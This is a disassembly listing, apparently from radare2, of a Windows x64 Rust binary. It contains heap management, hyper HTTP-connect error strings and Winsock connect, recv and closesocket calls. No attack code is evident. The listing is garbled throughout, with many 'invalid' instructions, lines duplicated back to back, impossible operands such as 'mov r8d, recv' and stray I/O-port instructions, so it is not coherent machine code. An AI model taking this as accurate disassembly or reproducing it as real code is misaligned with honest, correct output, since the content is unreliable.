je 0x14011dcb3
mov byte [r12 + 0x378], 0
mov rax, qword [r12 + 0x18]
mov qword [rbp + 0x340], rax
movups xmm0, xmmword [r12 + 8]
movaps xmmword [rbp + 0x330], xmm0
mov r14d, 2
jmp 0x14011dd1d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
mov qword [rbp + 0x350], rdi
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
push rsi
out 0x11, eax
add byte [rax - 0x7b], cl
leave
push rsi
out 0x11, eax
add byte [rax - 0x7b], cl
leave
jne 0x14011db20
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011ddf7
mov rcx, rax
mov qword [0x14023c258], rax
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, recv
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011ddf7
mov r13, rax
movabs rax, 0x726f727265206e65
mov qword [r13 + 6], rax
movabs rax, 0x6e65706f20706374
mov qword [r13], rax
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], recv
mov qword [rbp + 0xf0], rdi
mov ebp, 0xf0
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
out 0x11, eax
add byte [rax - 0x75], cl
or eax, 0x11e6db
test rcx, rcx
jne 0x14011db9b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011de0f
mov rcx, rax
mov qword [0x14023c258], rax
invalid
out 0x11, al
invalid
mov ebp, 0x410011e6
mov eax, 8
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011de0f
mov rbx, rax
mov qword [rax], rdi
mov edi, recv
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
je 0x14011db4f
or byte [rax], al
jmp 0x14011dbe8
invalid
mov rdi, qword [rbp + 0x248]
mov rbx, qword [rbp + 0x250]
add byte [rbx + rcx*4 - 0x4b], cl
pop rax
add al, byte [rax]
add byte [rax - 0x75], cl
lea edi, [rax + 3]
add byte [rax], al
add byte [rbx + rcx*4 - 0x4b], cl
pop rax
add al, byte [rax]
add byte [rax - 0x75], cl
lea edi, [rax + 3]
add byte [rax], al
call qword [sym.imp.WS2_32.dll_closesocket]
mov r12, qword [rbp + 0x380]
mov qword [r12 + 0x68], r13
lea rax, [r12 + 0x70]
and al, 0x70
and al, 0x70
mov qword [r12 + 0x70], rdi
mov qword [r12 + 0x78], rbx
mov qword [r12 + 0x80], r14
mov dword [r12 + 0x60], 0x3b9aca01
mov r14d, 2
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x340], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x330], xmm0
mov r8, qword [r12]
test r8, r8
je 0x14011dd1d
cmp qword [r12 + 8], 0
je 0x14011dc53
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [r12 + 0x10]
test rcx, rcx
je 0x14011dd1d
mov rax, qword [r12 + 0x18]
mov qword [rbp + 0x368], rcx
mov qword [rbp + 0x378], rax
call qword [rax]
mov rax, qword [rbp + 0x378]
cmp qword [rax + 8], 0
je 0x14011dcf3
cmp qword [rax + 0x10], 0x11
adc byte [rcx], dl
jae 0x14011dcfc
mov r12, qword [rbp + 0x380]
mov r8, qword [rbp + 0x368]
jmp 0x14011dd0e
mov al, 3
mov byte [r12 + 0x270], al
mov qword [rsi], 3
mov dword [rsi], 3
mov dword [rsi], 3
mov al, 3
jmp 0x14011dd45
lea rdx, str.Network_unreachabletcp_connect_error
mov r8d, reloc.WS2_32.dll_send
mov cl, 7
call fcn.1400e4a10
lea rcx, [rbp - 0x10]
mov rdx, rax
call fcn.1401201d0
mov r13, qword [rbp - 0x10]
movups xmm0, xmmword [rbp - 8]
movaps xmmword [rbp + 0x330], xmm0
mov rax, qword [rbp + 8]
mov qword [rbp + 0x340], rax
mov r14d, 2
mov esi, 2
mov esi, 2
mov r12, qword [rbp + 0x380]
jmp 0x14011dd1d
mov r8, qword [rbp + 0x368]
mov r8, qword [r8 - 8]
mov r12, qword [rbp + 0x380]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
or edx, dword [rbx]
invalid
invalid
in eax, 0x11
add byte [rcx], dh
sar bh, cl
adc eax, 0x7130b
or edx, dword [rbx]
invalid
invalid
or edx, dword [rbx]
invalid
adc eax, dword [rdi]
add byte [rcx - 0x3a], al
test byte [rax + rdi*2], ah
add eax, dword [rax]
add byte [rax], al
mov byte [r12 + 0x378], 0
mov qword [rsi], r14
mov qword [rsi + 8], r13
mov dword [rsi + 8], ebp
mov dword [rsi + 8], ebp
movaps xmm0, xmmword [rbp + 0x330]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rbp + 0x340]
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
invalid
mov al, 1
add eax, dword [rax]
add byte [rax - 0x77], cl
and byte [rax - 0x7b77beff], r14b
and al, 0x79
add eax, dword [rax]
add byte [rax], al
invalid
invalid
invalid
mov byte [r12 + 0x379], al
add byte [rax], al
add rsp, 0x418
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401c1e50]
invalid
add byte [rbp + rcx*4 + 5], cl
loope case.0x14010ab6c.452
or al, byte [rax]
add byte [rdx + 0x28], bh
mov edx, 0x28
add al, ch
out 0x91, eax
invalid
call fcn.140186f60
jmp 0x14011de1e
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x4b], cl
invalid
invalid
invalid
mov qword [rbp + 0x378], r14
js 0x14011dd86
add byte [rax], al
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea ecx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, 0x22
pop rbp
out 9, al
add byte [rdx + 0x22], bh
call fcn.140186b70
jmp 0x14011de1e
mov qword [rbp + 0x378], r14
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, 0x23
call fcn.140186b70
jmp 0x14011de1e
lea rax, str.overflow_in_Duration::new
lea eax, [0x1401c07c8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 1
lea rax, [0x1401ea218]
add eax, 0xcc43e
add eax, 0xcc43e
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
adc dword [rbp + 8], eax
adc dword [rbp + 8], eax
lea rdx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_time.rs
or al, byte [rax]
lea rcx, [rbp - 0x10]
call fcn.1401869b0
jmp 0x14011de1e
mov byte [rbp + 0x377], 1
mov ecx, 1
mov edx, recv
call fcn.140186620
jmp 0x14011de1e
mov ecx, 8
add byte [rax], al
mov edx, 8
call fcn.140186620
ud2
call fcn.140040690
nop
add rsp, 0x48
add esp, 0x48
add esp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea rcx, [rbp + 0x240]
call fcn.140019ef0
mov byte [rbp + 0x377], 0
test dword [rdi + 3], esi
add byte [rax], al
invalid
test dword [rdi + 3], esi
ja 0x14011de8f
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
lea ebp, [rdx + 0x80]
mov rax, qword [rbp + 0x378]
mov rdx, qword [rax + 8]
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
lea ebp, [rax + 3]
add byte [rax], al
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
lea ebp, [rax + 3]
add byte [rax], al
call fcn.140005270
nop
add rsp, 0x48
call qword [rax + 0x48c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax], al
cmp byte [rbp + 0x377], 0
je 0x14011df21
lea rcx, [rbp + 0x350]
call fcn.140040690
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub esp, 0x48
lea rbp, [rdx + 0x80]
movzx ecx, byte [rbp + 0x348]
add byte [rcx], dh
shr al, cl
jbe 0x14011df7f
invalid
call qword [rax + 0x48c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rcx], dh
shr al, cl
jbe 0x14011df7f
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x380]
mov byte [rax + 0x2f1], 0
add rsp, 0x48
add esp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop dword [rax + rax]
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x380]
mov byte [rax + 0x361], 0
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x368]
call fcn.14006b990
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x348]
add byte [rax - 0x75], cl
push rax
or byte [rbx + rcx*4 + 0x40], cl
invalid
add byte [rax - 0x75], cl
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
lea ebp, [rax + 3]
add eax, dword [rax]
invalid
mov rcx, qword [rbp + 0x368]
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ch, 0x80
add eax, dword [rax]
add al, ch
bnd jno 0x14011e06b
mov rsi, qword [rbp + 0x380]
call fcn.140005270
mov byte [rsi + 0x378], 1
xchg byte [rax + 3], bh
add byte [rax], al
add dword [rax - 0x75], ecx
test dword [rax + 3], edi
add byte [rax], al
inc esi
xchg byte [rax + 3], bh
add byte [rax], al
add dword [rax - 0x75], ecx
test dword [rax + 3], edi
add byte [rax], al
mov qword [rsi], rax
mov rax, qword [rbp]
mov rcx, qword [rbp + 0x1f8]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rbp - 0x10]
movups xmmword [rcx], xmm0
adc dword [rcx], eax
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x368]
call fcn.14011e870
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax - 0x75], cl
lea edi, [rax + 3]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
lea edi, [rax + 3]
add byte [rax], al
call sub.WS2_32.dll_closesocket
mov byte [rbp + 0x38f], 0
inc esi
test dword [rdi + 3], ecx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x368]
lea ebp, [rax + 3]
add byte [rax], al
lea ebp, [rax + 3]
add byte [rax], al
call fcn.140120110
add byte [rax], al
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
stosb byte [rdi], al
add byte [rax], 0
add byte [rax + 0x38fbd], al
add byte [rax], al
je 0x14011e203
mov rcx, qword [rbp + 0x378]
add byte [rax], al
call sub.WS2_32.dll_closesocket
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
add rsp, 0x48
pop rbx
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
sub esp, 0x48
sub esp, 0x48
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x380]
add dh, al
xor byte [rax + 2], 0
add al, byte [rax]
add byte [rdx], al
add dh, al
xor byte [rax + 2], 0
add al, byte [rax]
add al, byte [rax]
add byte [rdx], al
add rsp, 0x48
add esp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax - 0x75], cl
lea edi, [rax + 3]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
lea edi, [rax + 3]
add byte [rax], al
call fcn.140120360
nop
add rsp, 0x48
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x380]
cmp qword [rax], 0
je 0x14011e2f7
mov rax, qword [rbp + 0x380]
mov eax, dword [rbp + 0x380]
cmp byte [rax + 0x378], 0
je 0x14011e308
mov eax, 0x378
add byte [rdi + rbp + 0x48], dh
mov ecx, dword [rbp + 0x380]
mov rcx, qword [rbp + 0x380]
call fcn.140120560
jnp 0x14011e305
add byte [rax], al
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
add rsp, 0x48
pop rbx
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x380]
add byte [rbx], 0
add byte [rsi - 0x39], ah
cmp byte [rax + 3], 0
add byte [rax], al
add cl, byte [rax - 0x7d]
invalid
pop rbx
pop rdi
add byte [rbx], 0
add byte [rsi - 0x39], ah
cmp byte [rax + 3], 0
add byte [rax], al
add cl, byte [rax - 0x7d]
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
or byte [rax - 0x75], cl
or eax, 0x11decb
mov ecx, dword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsi + 0x18]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x14011e3ea
mov rax, qword [rsi + 0x20]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
call qword [rax]
mov rax, qword [rbp - 8]
cmp qword [rax + 8], 0
mov r8, qword [rbp - 0x10]
je 0x14011e3ea
cmp qword [rax + 0x10], 0x11
jb 0x14011e3c6
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
add rsp, 0x38
cmp byte [rsi + 0x5d], bl
cmp byte [rsi + 0x5d], bl
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rsi + 0x5d], bl
jmp fcn.140108d10
call qword [rax + 0x38c48348]
nop
add rsp, 0x38
pop rsi
pop rbp
ret
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
and al, 0x10
invalid
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.140005270
nop
add rsp, 0x28
pop rsi
pop rbp
ret
int3
and al, 0x40
mov qword [rbp], 0xfffffffffffffffe
movzx eax, byte [rcx + 0x9f0]
cmp rax, 6
or dword [rax], eax
add byte [rax - 0x7d], cl
clc
invalid
ja case.0x14011e469.1
mov rsi, rcx
lea rcx, [0x1401ef7f0]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
mov qword [rbp - 8], rsi
jmp rax
cmp qword [rsi + 0xa8], 0
add byte [rax], al
je 0x14011e48b
mov r8, qword [rsi + 0xa0]
mov eax, dword [rsi + 0xa0]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x70b9d
adc eax, 0x70b9d
cmp dword [rsi], 2
je case.0x14011e469.1
add cl, byte [rdi]
test byte [rdx + 1], dl
add byte [rax], al
mov rcx, rsi
call fcn.14006b990
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
hlt
dec dword [rax - 0x75]
clc
mov eax, dword [rbp - 8]
cmp qword [rax + 0x78], 0
je case.0x14011e469.1
add rax, 0x70
jmp 0x14011e4d5
jo 0x14011e49b
and al, 0x48
lea ecx, [rsi + 0x9f8]
lea rcx, [rsi + 0x9f8]
call fcn.14011c890
mov rax, qword [rbp - 8]
jrcxz 0x14011e4bb
invalid
dec dword [rax - 0x75]
clc
cmp qword [rax + 0x180], 0
je case.0x14011e469.1
test byte [rdi], dl
add dword [rax], eax
invalid
test byte [rdi], dl
add dword [rax], eax
add byte [rax + 5], cl
js 0x14011e4d4
add rax, 0x178
add byte [rax], al
add byte [rbx + rcx*4], cl
mov r8, qword [rax]
mov rcx, qword [0x14023c258]
or eax, 0x11dd79
xor edx, edx
add rsp, 0x48
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rsi + 0x9f8], 2
jne 0x14011e563
cmp qword [rsi + 0xa08], 0
je 0x14011e517
mov r8, qword [rsi + 0xa00]
mov eax, dword [rsi + 0xa00]
add byte [rax - 0x75], cl
or eax, 0x11dd49
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x70b11
adc eax, 0x70b11
mov rcx, qword [rsi + 0xa10]
test rcx, rcx
je 0x14011e56f
mov rax, qword [rbp - 8]
clc
mov rax, qword [rax + 0xa18]
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
invalid
invalid
cmp qword [rax + 8], 0
mov r8, qword [rbp - 0x18]
je 0x14011e56f
invalid
cmp qword [rax + 0x10], 0x11
adc byte [rcx], dl
jb 0x14011e552
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
fcom qword [rcx]
add byte [rcx], dh
sar bh, cl
adc eax, 0x70ac7
jmp 0x14011e56f
lea rcx, [rsi + 0x9f8]
call fcn.140108d10
invalid
clc
or dword [rax], eax
add al, ch
movabs eax, dword [0xc6f8758b48fffea7]
xchg cl, dh
or dword [rax], eax
add byte [rax], al
dec dword [rax - 0x75]
jne 0x14011e56b
mov rsi, qword [rbp - 8]
mov byte [rsi + 0x9f1], 0
lea rcx, [rsi + 0x950]
call fcn.14006b990
mov rax, qword [rbp - 8]
lea rcx, [rax + 0x5d0]
call fcn.14011c890
mov rax, qword [rbp - 8]
or dword [rax], eax
add al, ch
or dl, ah
hlt
cli
loop 0x14011e594
invalid
dec dword [rax - 0x75]
clc
lea rcx, [rax + 0x250]
call fcn.14011c890
mov rax, qword [rbp - 8]
cmp qword [rax + 0x228], 0
mov rsi, rax
je 0x14011e5cd
mov r8, qword [rsi + 0x220]
mov rcx, qword [0x14023c258]
fcom qword [rcx]
add byte [rcx], dh
sar bh, cl
adc eax, 0x70a5b
fcom qword [rcx]
add byte [rcx], dh
sar bh, cl
adc eax, 0x70a5b
mov byte [rsi + 0x9f2], 0
add byte [rax], al
mov rax, qword [rbp - 8]
cmp qword [rax + 0x180], 0
jne 0x14011e4cf
add rsp, 0x48
pop rsi
pop rbp
ret
invalid
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x178]
mov rdx, qword [rax + 0x180]
add dword [rax], eax
add al, ch
cmp bh, byte [rdx - 0xe]
call qword [rax + 0x28c48348]
add dword [rax], eax
add al, ch
cmp bh, byte [rdx - 0xe]
call qword [rax + 0x28c48348]
pop rsi
pop rbp
ret
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 8]
mov byte [rax + 0x9f1], 0
lea rcx, [rax + 0x950]
call fcn.14006b990
nop
add rsp, 0x28
pop rsi
pop rbp
ret
nop
add rsp, 0x28
pop rsi
pop rbp
ret
invalid
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rsi, qword [rbp - 8]
clc
clc
mov rcx, qword [rsi + 0x220]
mov rdx, qword [rsi + 0x228]
add byte [rax - 0x75], cl
xchg esi, eax
sub byte [rdx], al
add byte [rax], al
call fcn.140046050
mov byte [rsi + 0x9f2], 0
or dword [rax], eax
add byte [rax], al
or dword [rax], eax
add byte [rax], al
add rsp, 0x28
pop rsi
pop rbp
ret
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
call fcn.140005270
nop
add rsp, 0x28
pop rsi
pop rbp
ret
lea rbp, [rsp + 0x30]
mov qword [rbp], 0xfffffffffffffffe
mov rdx, rcx
movzx eax, byte [rcx + 0xc2]
cmp eax, 4
je 0x14011e782
cmp eax, 3
je 0x14011e794
test eax, eax
je 0x14011e7e6
add rsp, 0x38
pop rsi
pop rbp
ret
invalid
lea rcx, [rdx + 0xc8]
mov qword [rbp - 8], rdx
call fcn.14011e430
jmp case.0x14011633f.221
lea rcx, [rdx + 0xe8]
mov qword [rbp - 8], rdx
call fcn.14011c790
mov rax, qword [rbp - 8]
mov r8, qword [rax + 0xc8]
test r8, r8
mov rsi, rax
je 0x14011e7d0
cmp qword [rsi + 0xd0], 0
je 0x14011e7d0
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rsi + 0xc3], 0
mov rdx, qword [rbp - 8]
mov byte [rdx + 0xc4], 0
add rdx, 0x60
mov rcx, rdx
mov ecx, edx
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.14006d7b0
sub byte [rax - 0x73], cl
push 0x30
mov rsi, qword [rbp - 8]
mov rcx, qword [rsi + 0xc8]
mov rdx, qword [rsi + 0xd0]
call fcn.140169ab0
mov byte [rsi + 0xc3], 0
add rsp, 0x28
pop rsi
pop rbp
ret
clc
add esi, dword [rbp + 0x41]
movzx eax, byte [rcx + 0x70]
cmp eax, 3
mov qword [rbp - 0x10], rcx
je 0x14011e8bf
test eax, eax
jne 0x14011e8c8
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x30]
call fcn.140109d50
jmp 0x14011e8c8
add byte [rax - 0x7d], cl
rol dword [rax - 0x18], 0x48
movsb byte [rdi], byte [rsi]
invalid
add rcx, 0x40
call fcn.140108d10
mov rax, qword [rbp - 0x10]
mov byte [rax + 0x79], 0
jns 0x14011e8d0
jns 0x14011e8d0
add rsp, 0x30
pop rbp
ret
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 0x10]
mov byte [rax + 0x79], 0
add rsp, 0x20
pop rbp
ret
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x7d], cl
in al, 0x80
mov rbx, rsp
mov qword [rbx + 0x3a8], rbp
mov qword [rbp + 0x330], 0xfffffffffffffffe
mov r12, r8
invalid
mov rsi, rcx
movzx eax, byte [rdx + 0x78]
lea rcx, [0x1401ef80c]
lea ecx, [0x1401ef80c]
invalid
lea ecx, [0x1401ef80c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbx + 0x60], rdx
jmp rax
mov byte [rdx + 0x79], 1
mov rcx, qword [rdx + 0x20]
mov qword [rdx + 0x28], rcx
cmp word [rdx], 0
movzx eax, word [rdx + 0x12]
mov word [rbx + 0xe0], ax
movups xmm0, xmmword [rdx + 2]
movaps xmmword [rbx + 0xd0], xmm0
je 0x14011ea85
mov r14d, dword [rdx + 0x14]
mov r8d, dword [rdx + 0x18]
movzx eax, word [rdx + 0x1c]
mov r9, qword [rbx + 0xd2]
mov r10d, dword [rbx + 0xda]
mov edx, dword [rbx + 0xda]
mov edx, dword [rbx + 0xda]
movzx r11d, word [rbx + 0xde]
movzx ebx, word [rbx + 0xde]
movzx edi, word [rbx + 0xe0]
xorps xmm0, xmm0
ror byte [rdi], 0x11
sbb dword [rcx + rax], 0
add byte [rdi], cl
adc dword [rbx + 0x12c], eax
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
sbb dword [rcx + rax], 0
add byte [rdi], cl
adc dword [rbx + 0x12c], eax
movups xmmword [rbx + 0x13c], xmm0
cmp dword [rcx + rax], 0
add byte [rdi], cl
adc dword [rbx + 0x14c], eax
add byte [rax], al
movups xmmword [rbx + 0x14c], xmm0
movups xmmword [rbx + 0x15c], xmm0
movups xmmword [rbx + 0x16c], xmm0
add dword [rax], eax
add byte [rsi - 0x3f], ah
ror byte [rax], 0xc7
cmp dword [rcx + rax], 0
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rsi - 0x3f], ah
ror byte [rax], 0xc7
cmp dword [rcx + rax], 0
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0x108], r9
mov dword [rbx + 0x110], r10d
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + rcx*4 - 0x6d], al
adc byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rsi + 0x44], ah
mov dword [rbx + 0x114], ebx
wait
adc al, 1
add byte [rax], al
mov word [rbx + 0x114], r11w
wait
adc al, 1
add byte [rax], al
mov word [rbx + 0x116], di
mov ebx, 0x116
add byte [rax], al
mov dword [rbx + 0x118], r8d
mov r8d, 0x1c
mov r9w, 0x17
jmp 0x14011ead6
lea rax, [rdx + 0x30]
mov qword [rbx + 0x70], rax
lea r8, [rdx + 0x70]
movzx eax, byte [rdx + 0x70]
lea rcx, [0x1401ef81c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbx + 0x80], r8
jmp rax
mov rax, qword [rdx + 0x68]
mov rdx, qword [rax + 0x10]
lea r14, [rbx + 0x100]
mov rcx, r14
mov r8, r12
mov r9b, 1
call fcn.14016b7d0
movzx eax, byte [rbx + 0x109]
cmp al, 3
jne 0x14011edbe
mov qword [rsi], 3
mov al, 3
jmp 0x14011f5a2
lea r8, [rbx + 0x108]
movzx eax, word [rbx + 0xd4]
rol ax, 8
mov r14d, dword [rbx + 0xd0]
xorps xmm0, xmm0
movups xmmword [r8 + 0x60], xmm0
movups xmmword [r8 + 0x50], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [r8 + 0x40], xmm0
movups xmmword [r8 + 0x30], xmm0
movups xmmword [r8 + 0x20], xmm0
adc dword [rax + 0x20], eax
adc dword [rax + 0x20], eax
movups xmmword [r8 + 0x10], xmm0
movups xmmword [r8], xmm0
mov qword [r8 + 0x70], 0
mov r8d, reloc.WS2_32.dll_recv
mov r9w, 2
mov word [rbx + 0x100], r9w
mov word [rbx + 0x102], ax
mov dword [rbx + 0x102], eax
mov dword [rbx + 0x102], eax
mov dword [rbx + 0x104], r14d
mov dword [rbx + 0x180], r8d
lea rdx, [rbx + 0x100]
call qword [sym.imp.WS2_32.dll_connect]
adc eax, 0x70858
adc eax, 0x70858
test eax, eax
